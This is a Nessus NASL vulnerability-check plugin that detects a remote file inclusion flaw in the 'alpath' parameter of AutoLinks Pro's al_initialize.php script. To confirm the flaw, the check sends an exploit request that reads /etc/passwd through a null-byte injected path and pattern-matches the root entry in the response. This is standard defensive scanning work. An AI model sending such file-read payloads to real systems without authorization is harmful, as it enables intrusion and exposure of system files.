The remote host is running AutoLinks Pro, a commercial link management package.
The version of AutoLinks Pro installed on the remote host allows attackers to control the βalpathβ parameter used when including PHP code in the βal_initialize.phpβ script. By leveraging this flaw, an unauthenticated attacker is able to view arbitrary files on the remote host and to execute arbitrary PHP code, possibly taken from third- party hosts.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description) {
script_id(19522);
script_version("1.17");
script_name(english:"AutoLinks Pro 'al_initialize.php alpath Parameter Remote File Inclusion");
script_cve_id("CVE-2005-2782");
script_bugtraq_id(14686);
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that suffers from a remote
file include flaw." );
script_set_attribute(attribute:"description", value:
"The remote host is running AutoLinks Pro, a commercial link management
package.
The version of AutoLinks Pro installed on the remote host allows
attackers to control the 'alpath' parameter used when including PHP
code in the 'al_initialize.php' script. By leveraging this flaw, an
unauthenticated attacker is able to view arbitrary files on the remote
host and to execute arbitrary PHP code, possibly taken from third-
party hosts." );
script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:W/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2005/08/29");
script_set_attribute(attribute:"vuln_publication_date", value: "2005/08/28");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
summary["english"] = "Checks for alpath parameter file include vulnerability in AutoLinks Pro";
script_summary(english:summary["english"]);
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2005-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencie("http_version.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
script_require_keys("www/PHP");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Loop through CGI directories.
foreach dir (cgi_dirs()) {
# Try to exploit the flaw to read /etc/passwd.
r = http_send_recv3(method:"GET", port: port,
item:string( dir, "/al_initialize.php?",
"alpath=/etc/passwd%00"));
if (isnull(r)) exit(0);
res = strcat(r[0], r[1], '\r\n', r[2]);
# There's a problem if...
if (
# there's an entry for root or...
egrep(string:res, pattern:"root:.*:0:[01]:") ||
# we get an error saying "failed to open stream" or "Failed opening".
#
# nb: this suggests magic_quotes_gpc was enabled but the other flaws
# would still be present.
egrep(string:res, pattern:"Warning.+main\(/etc/passwd.+failed to open stream") ||
egrep(string:res, pattern:"Failed opening .*'/etc/passwd")
) {
security_warning(port);
exit(0);
}
}